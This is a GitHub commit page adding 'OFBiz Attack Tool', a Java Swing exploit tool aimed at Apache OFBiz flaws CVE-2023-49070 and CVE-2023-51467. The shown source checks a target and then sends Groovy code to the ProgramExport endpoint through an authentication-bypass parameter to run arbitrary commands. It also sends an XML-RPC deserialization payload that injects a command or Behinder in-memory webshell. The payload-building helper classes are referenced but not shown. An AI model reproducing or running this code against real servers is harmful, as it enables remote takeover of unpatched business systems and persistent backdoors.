Skip to content

Commit ea30ddd

Browse files
N1vi4N1vi4
authored
Add files via upload
1 parent 968fc4f commit ea30ddd

File tree

20 files changed

+569
-0
lines changed

20 files changed

+569
-0
lines changed

‎out/artifacts/OFBiz_Attack_jar/OFBiz-Attack.jar‎

3.37 MB
Binary file not shown.

‎pom.xml‎

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>org.ofbiz</groupId>
8+
<artifactId>OFBiz-Attack</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
11+
<properties>
12+
<maven.compiler.source>8</maven.compiler.source>
13+
<maven.compiler.target>8</maven.compiler.target>
14+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
</properties>
16+
17+
<dependencies>
18+
<dependency>
19+
<groupId>org.javassist</groupId>
20+
<artifactId>javassist</artifactId>
21+
<version>3.19.0-GA</version>
22+
</dependency>
23+
24+
<dependency>
25+
<groupId>com.squareup.okhttp3</groupId>
26+
<artifactId>okhttp</artifactId>
27+
<version>4.9.1</version> <!-- 请使用最新版本 -->
28+
</dependency>
29+
</dependencies>
30+
31+
32+
33+
</project>

‎src/main/java/org/ofbiz/Main.java‎

Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
package org.ofbiz;
2+
3+
import org.ofbiz.listener.CmdExecuteListener;
4+
import org.ofbiz.listener.MemshellInjectListener;
5+
import org.ofbiz.listener.VulCheckListener;
6+
7+
import javax.swing.*;
8+
import javax.swing.plaf.basic.BasicTabbedPaneUI;
9+
import java.awt.*;
10+
import java.util.Enumeration;
11+
12+
public class Main extends JFrame {
13+
private static final String WELCOME = "[+] Welcome to OFBiz Attack Tool\n";
14+
private static final String AUTHOR = "[+] Author: Nivia\n";
15+
16+
private JTextArea outputTextArea;
17+
18+
public Main() {
19+
setTitle("OFBiz Attack Tool");
20+
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
21+
22+
JTabbedPane tabbedPane = new JTabbedPane();
23+
tabbedPane.setUI(new CustomTabbedPaneUI());
24+
25+
JPanel outputPanel = new JPanel(new BorderLayout());
26+
outputTextArea = new JTextArea(20, 30);
27+
JScrollPane scrollPane = new JScrollPane(outputTextArea);
28+
outputPanel.add(scrollPane, BorderLayout.CENTER);
29+
30+
outputTextArea.append(WELCOME);
31+
outputTextArea.append(AUTHOR);
32+
outputTextArea.append("[+] Check first\n");
33+
34+
tabbedPane.addTab("Vul Check", createCheckPage());
35+
tabbedPane.addTab("CMD Execute", createCmdPage());
36+
tabbedPane.addTab("Memshell Inject", createMemshellPage());
37+
38+
add(tabbedPane, BorderLayout.CENTER);
39+
add(outputPanel, BorderLayout.SOUTH);
40+
41+
pack();
42+
setLocationRelativeTo(null);
43+
setVisible(true);
44+
}
45+
46+
private JPanel createCheckPage() {
47+
JPanel pagePanel = new JPanel();
48+
pagePanel.setLayout(new BorderLayout());
49+
50+
JPanel inputPanel = new JPanel();
51+
inputPanel.setLayout(new FlowLayout(FlowLayout.LEFT));
52+
pagePanel.add(inputPanel, BorderLayout.NORTH);
53+
54+
JLabel urlLabel = new JLabel("Target Url:");
55+
inputPanel.add(urlLabel);
56+
57+
JTextField urlText = new JTextField(30);
58+
inputPanel.add(urlText);
59+
60+
JButton checkButton = new JButton("Check");
61+
checkButton.addActionListener(new VulCheckListener(urlText, outputTextArea));
62+
inputPanel.add(checkButton);
63+
64+
return pagePanel;
65+
}
66+
67+
private JPanel createCmdPage() {
68+
JPanel pagePanel = new JPanel();
69+
pagePanel.setLayout(new BorderLayout());
70+
71+
JPanel inputPanel = new JPanel();
72+
inputPanel.setLayout(new FlowLayout(FlowLayout.LEFT));
73+
pagePanel.add(inputPanel, BorderLayout.NORTH);
74+
75+
JLabel urlLabel = new JLabel("Command:");
76+
inputPanel.add(urlLabel);
77+
78+
JTextField cmdText = new JTextField(30);
79+
inputPanel.add(cmdText);
80+
81+
JButton executeButton = new JButton("Execute");
82+
executeButton.addActionListener(new CmdExecuteListener(cmdText, outputTextArea, VulCheckListener.getTextField()));
83+
inputPanel.add(executeButton);
84+
85+
return pagePanel;
86+
}
87+
88+
private JPanel createMemshellPage() {
89+
JPanel pagePanel = new JPanel();
90+
pagePanel.setLayout(new BorderLayout());
91+
92+
JPanel inputPanel = new JPanel();
93+
inputPanel.setLayout(new BoxLayout(inputPanel, BoxLayout.X_AXIS));
94+
pagePanel.add(inputPanel, BorderLayout.NORTH);
95+
96+
ButtonGroup buttonGroup = new ButtonGroup();
97+
98+
JRadioButton cmdMemshellButton = new JRadioButton("CMD (Visit /webtools/*)");
99+
JRadioButton behinderMemshellButton = new JRadioButton("Behinder (Default key)");
100+
101+
buttonGroup.add(cmdMemshellButton);
102+
buttonGroup.add(behinderMemshellButton);
103+
104+
inputPanel.add(cmdMemshellButton);
105+
inputPanel.add(behinderMemshellButton);
106+
107+
JButton injectButton = new JButton("Inject");
108+
109+
injectButton.addActionListener(new MemshellInjectListener(buttonGroup, outputTextArea, VulCheckListener.getTextField()));
110+
inputPanel.add(injectButton);
111+
112+
return pagePanel;
113+
}
114+
115+
public static void main(String[] args) {
116+
SwingUtilities.invokeLater(Main::new);
117+
}
118+
119+
static class CustomTabbedPaneUI extends BasicTabbedPaneUI {
120+
private static final Color selectedTabColor = Color.WHITE;
121+
private static final Color selectedTabTitleColor = Color.BLACK;
122+
123+
@Override
124+
protected void paintTabBackground(Graphics g, int tabPlacement, int tabIndex, int x, int y, int w, int h, boolean isSelected) {
125+
if (isSelected) {
126+
g.setColor(selectedTabColor);
127+
g.fillRect(x, y, w, h);
128+
} else {
129+
super.paintTabBackground(g, tabPlacement, tabIndex, x, y, w, h, isSelected);
130+
}
131+
}
132+
133+
@Override
134+
protected void paintText(Graphics g, int tabPlacement, Font font, FontMetrics metrics, int tabIndex, String title, Rectangle textRect, boolean isSelected) {
135+
if (isSelected) {
136+
g.setColor(selectedTabTitleColor);
137+
} else {
138+
g.setColor(tabPane.getForegroundAt(tabIndex));
139+
}
140+
141+
super.paintText(g, tabPlacement, font, metrics, tabIndex, title, textRect, isSelected);
142+
}
143+
}
144+
}

‎src/main/java/org/ofbiz/listener/CmdExecuteListener.java‎

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
package org.ofbiz.listener;
2+
3+
import okhttp3.Response;
4+
import org.ofbiz.shell.ShellManager;
5+
import org.ofbiz.util.Http;
6+
7+
import javax.swing.*;
8+
import java.awt.event.ActionEvent;
9+
import java.awt.event.ActionListener;
10+
import java.io.IOException;
11+
import java.net.URLEncoder;
12+
13+
import static org.ofbiz.util.Check.*;
14+
15+
public class CmdExecuteListener implements ActionListener {
16+
private static final String EXCEPTION_TEXT = "java.lang.Exception:";
17+
18+
private JTextField cmdText;
19+
private JTextArea outputTextArea;
20+
private JTextField textField;
21+
22+
public CmdExecuteListener(JTextField cmdText, JTextArea outputTextArea, JTextField textField) {
23+
this.cmdText = cmdText;
24+
this.outputTextArea = outputTextArea;
25+
this.textField = textField;
26+
}
27+
28+
@Override
29+
public void actionPerformed(ActionEvent e) {
30+
String url = textField.getText();
31+
32+
if (url.equals("") || !VulCheckListener.hasCheck){
33+
JOptionPane.showMessageDialog(textField.getParent(), "No Vulnerability or Not check yet", "Error", JOptionPane.ERROR_MESSAGE);
34+
return;
35+
}
36+
37+
if(url.endsWith("/")){
38+
url = url.substring(0, url.length() - 1);
39+
}
40+
41+
String vulUrl = url + "/webtools/control/ProgramExport?" + PERMISSION_TEXT;
42+
String body = "groovyProgram=" + URLEncoder.encode(ShellManager.getGroovyShell(cmdText.getText()));
43+
44+
Response response = Http.sendHttpsPostRequest(vulUrl, body, "application/x-www-form-urlencoded");
45+
try {
46+
String responseText = response.body().string();
47+
48+
if (response.isSuccessful() && response.code() == 200 && (responseText.contains(EXCEPTION_TEXT))){
49+
int startIndex = responseText.indexOf(EXCEPTION_TEXT);
50+
String endTag = "</p>";
51+
int endIndex = responseText.indexOf(endTag, startIndex);
52+
53+
if (startIndex != -1) {
54+
startIndex += EXCEPTION_TEXT.length();
55+
String cmdResult = responseText.substring(startIndex, endIndex).trim();
56+
if (cmdResult.equals("")){
57+
outputTextArea.append("[+] Execute Success!\n");
58+
}
59+
else {outputTextArea.append("[+] Execute Result: \n" + cmdResult + "\n");}
60+
}
61+
} else {
62+
outputTextArea.append("[+] Not executed for security reason\n");
63+
}
64+
} catch (IOException ex) {
65+
throw new RuntimeException(ex);
66+
}
67+
}
68+
}

‎src/main/java/org/ofbiz/listener/MemshellInjectListener.java‎

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
package org.ofbiz.listener;
2+
3+
import org.ofbiz.shell.ShellManager;
4+
import org.ofbiz.util.Http;
5+
6+
import javax.swing.*;
7+
import java.awt.event.ActionEvent;
8+
import java.awt.event.ActionListener;
9+
import java.util.Enumeration;
10+
11+
import static org.ofbiz.shell.ShellManager.*;
12+
import static org.ofbiz.util.Check.*;
13+
14+
public class MemshellInjectListener implements ActionListener {
15+
private ButtonGroup buttonGroup;
16+
private JTextArea outputTextArea;
17+
private JTextField textField;
18+
19+
private static final String CMD_BUTTON_TEXT = "CMD (Visit /webtools/*)";
20+
private static final String BEHINDER_BUTTON_TEXT = "Behinder (Default key)";
21+
22+
23+
public MemshellInjectListener(ButtonGroup buttonGroup, JTextArea outputTextArea, JTextField textField){
24+
this.buttonGroup = buttonGroup;
25+
this.outputTextArea = outputTextArea;
26+
this.textField = textField;
27+
28+
}
29+
30+
@Override
31+
public void actionPerformed(ActionEvent e) {
32+
String url = textField.getText();
33+
34+
if (url.equals("") || !VulCheckListener.hasCheck || !VulCheckListener.has_cve_2023_49070){
35+
JOptionPane.showMessageDialog(textField.getParent(), "No Vulnerability or Not check yet", "Error", JOptionPane.ERROR_MESSAGE);
36+
return;
37+
}
38+
39+
Enumeration<AbstractButton> buttons = buttonGroup.getElements();
40+
boolean isSelected = false;
41+
42+
if(url.endsWith("/")){
43+
url = url.substring(0, url.length() - 1);
44+
}
45+
46+
String vulUrl = url + "/webtools/control/xmlrpc;?" + PERMISSION_TEXT;
47+
String body = "";
48+
49+
while (buttons.hasMoreElements()) {
50+
AbstractButton button = buttons.nextElement();
51+
if (button.isSelected()) {
52+
String selectedButtonText = button.getText();
53+
switch (selectedButtonText){
54+
case CMD_BUTTON_TEXT:
55+
body = ShellManager.getXmlrpcDeserializable(CMD_MEMSHELL);
56+
isSelected = true;
57+
break;
58+
case BEHINDER_BUTTON_TEXT:
59+
body = ShellManager.getXmlrpcDeserializable(BEHINDER_MEMSHELL);
60+
isSelected = true;
61+
break;
62+
}
63+
break;
64+
}
65+
}
66+
67+
if (!isSelected) {
68+
JOptionPane.showMessageDialog(textField.getParent(), "Select Type!", "Error", JOptionPane.ERROR_MESSAGE);
69+
return;
70+
}
71+
72+
Http.sendHttpsPostRequest(vulUrl, body, "application/xml");
73+
Http.sendHttpsPostRequest(vulUrl, body, "application/xml");
74+
75+
outputTextArea.append("[+] Inject Success!\n");
76+
}
77+
}

‎src/main/java/org/ofbiz/listener/VulCheckListener.java‎

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
package org.ofbiz.listener;
2+
3+
import javax.swing.*;
4+
import java.awt.event.ActionEvent;
5+
import java.awt.event.ActionListener;
6+
import java.io.IOException;
7+
8+
import static org.ofbiz.util.Check.*;
9+
10+
public class VulCheckListener implements ActionListener {
11+
private static JTextField textField;
12+
private JTextArea outputTextArea;
13+
public static boolean hasCheck = false;
14+
public static boolean has_cve_2023_49070 = false;
15+
16+
public VulCheckListener(JTextField textField, JTextArea outputTextArea) {
17+
this.textField = textField;
18+
this.outputTextArea = outputTextArea;
19+
}
20+
21+
@Override
22+
public void actionPerformed(ActionEvent e) {
23+
String url = textField.getText();
24+
25+
if(!isValidHttpUrl(url)){
26+
JOptionPane.showMessageDialog(textField.getParent(), "URL format is not valid!", "Error", JOptionPane.ERROR_MESSAGE);
27+
return;
28+
}
29+
30+
try {
31+
if(has_CVE_2023_49070(url)){
32+
hasCheck = true;
33+
has_cve_2023_49070 = true;
34+
outputTextArea.append("[+] has CVE-2023-49070, Attack!\n");
35+
outputTextArea.append("[+] has CVE-2023-51467, Attack!\n");
36+
return;
37+
}
38+
else {
39+
hasCheck = false;
40+
outputTextArea.append("[-] no CVE-2023-49070 :(\n");
41+
}
42+
43+
if (has_CVE_2023_51467(url)){
44+
hasCheck = true;
45+
outputTextArea.append("[+] has CVE-2023-51467, Attack!\n");
46+
}
47+
else {
48+
hasCheck = false;
49+
outputTextArea.append("[-] no CVE-2023-51467 :(\n");
50+
}
51+
52+
53+
} catch (Exception ex) {
54+
55+
}
56+
}
57+
58+
public static JTextField getTextField(){
59+
return textField;
60+
}
61+
62+
}

0 commit comments

Comments
 (0)